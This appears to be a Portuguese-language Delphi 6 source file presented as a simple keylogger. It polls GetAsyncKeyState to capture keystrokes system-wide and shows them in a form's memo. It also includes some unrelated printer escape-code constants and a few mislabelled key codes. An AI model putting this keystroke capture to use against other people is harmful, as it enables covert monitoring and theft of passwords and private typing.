Monitorar que tecla foi digitada - key logger (delphi 6)

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, ExtCtrls;

type
TForm1 = class(TForm)
Memo1: TMemo;
Timer1: TTimer;
Button1: TButton;
Button2: TButton;
Button3: TButton;
procedure Button1Click(Sender: TObject);
procedure Timer1Timer(Sender: TObject);
procedure Button2Click(Sender: TObject);
procedure Button3Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;


const
ESC = chr($1B); // Escape global...
// comandos matriciais
lg05CPP = ESC+chr($50)+chr($12); // 40 colunas
lg10CPP = ESC+chr($50)+chr($12); // 80 colunas
lg12CPP = ESC+chr($4D)+chr($12); // 96 colunas
lg17CPP = ESC+chr($50)+chr($0F); // 136 colunas
lg20CPP = ESC+chr($4D)+chr($0F); // 160 colunas
lgDRAFT = ESC+chr($78)+chr($00); // liga modo qualidade rascunho
lgNLQ = ESC+chr($78)+chr($01); // liga modo qualidade Carta
mv6Lpi = ESC+chr($32); // mov vertical 6 linhas p/inch -
mv8Lpi = ESC+chr($30); // mov vertical 8 linhas p/inch
ELineFeed = chr($0A);
EFormFeed = #12;



implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
close;
end;


function Coloca(txt: String): String;
begin
Form1.Memo1.Text := Form1.Memo1.Text + txt;
end;


procedure TForm1.Timer1Timer(Sender: TObject);
var
keyloop, KeyResult : Integer;
begin
keyloop := 0;
repeat
KeyResult := GetAsyncKeyState(keyloop);
if KeyResult = -32767 then
begin
case keyloop of
8: Coloca(' [BACKSPACE] ');
9: Coloca(' [TAB] ');
12: Coloca(' [ALT] ');
13: Coloca(' [ENTER] ');
16: Coloca(' [SHIFT] ');
17: Coloca(' [CONTROL] ');
18: Coloca(' [ALT] ');
20: Coloca(' [CAPS LOCK] ');
21: Coloca(' [PAGE UP] ');
27: Coloca(' [ESC] ');
33: Coloca(' [PAGE UP] ');
34: Coloca(' [PAGE DOWN] ');
35: Coloca(' [END] ');
36: Coloca(' [HOME] ');
37: Coloca(' [SETA ESQUERDA] ');
38: Coloca(' [SETA ACIMA] ');
39: Coloca(' [SETA DIREITA] ');
40: Coloca(' [SETA ABAIXO] ');
45: Coloca(' [INSERT] ');
46: Coloca(' [DEL] ');
91: Coloca(' [WIN ESQUERDA] ');
92: Coloca(' [WIN DIREITA] ');
93: Coloca(' [MENU POP-UP] ');
96: Coloca('0');
97: Coloca('1');
98: Coloca('2');
99: Coloca('3');
100: Coloca('4');
101: Coloca('5');
102: Coloca('6');
103: Coloca('7');
104: Coloca('8');
105: Coloca('9');
106: Coloca(' [NUM *] ');
107: Coloca(' [NUM +] ');
109: Coloca(' [NUM -] ');
110: Coloca(' [NUM SEP. DECIMAL] ');
111: Coloca(' [NUM /] ');
112: Coloca(' [F1] ');
113: Coloca(' [F2] ');
114: Coloca(' [F3] ');
115: Coloca(' [F4] ');
116: Coloca(' [F5] ');
117: Coloca(' [F6] ');
118: Coloca(' [F7] ');
119: Coloca(' [F8] ');
120: Coloca(' [F9] ');
121: Coloca(' [F10] ');
122: Coloca(' [F11] ');
123: Coloca(' [F12] ');
144: Coloca(' [NUM LOCK] ');
186: Coloca('Ç');
187: Coloca('=');
188: Coloca(',');
189: Coloca('-');
190: Coloca('.');
191: Coloca(';');
192: Coloca(' [APÓSTROFO] ');
193: Coloca('/');
194: Coloca(' [NUM PONTO] ');
219: Coloca('´');
220: Coloca(']');
221: Coloca('[');
222: Coloca('~');
226: Coloca('\');
else
if (KeyLoop >= 65) and (keyloop <= 90) then
Coloca(Chr(keyloop));
if (keyloop >= 32) and (keyloop <= 63) then
Coloca(Chr(keyloop));
//numpad keycodes
if (keyloop >= 96) and (keyloop <= 110) then
Coloca(Chr(keyloop));
end;
end; //case;
inc(keyloop);
until keyloop = 255;
end;




procedure TForm1.Button2Click(Sender: TObject);
begin
Timer1.Enabled := true;
end;


procedure TForm1.Button3Click(Sender: TObject);
var F:TextFile;
begin
AssignFile(F,'LPT1');
Rewrite(F);
Writeln(F,lg12CPP);
CloseFile(F);

end;

end.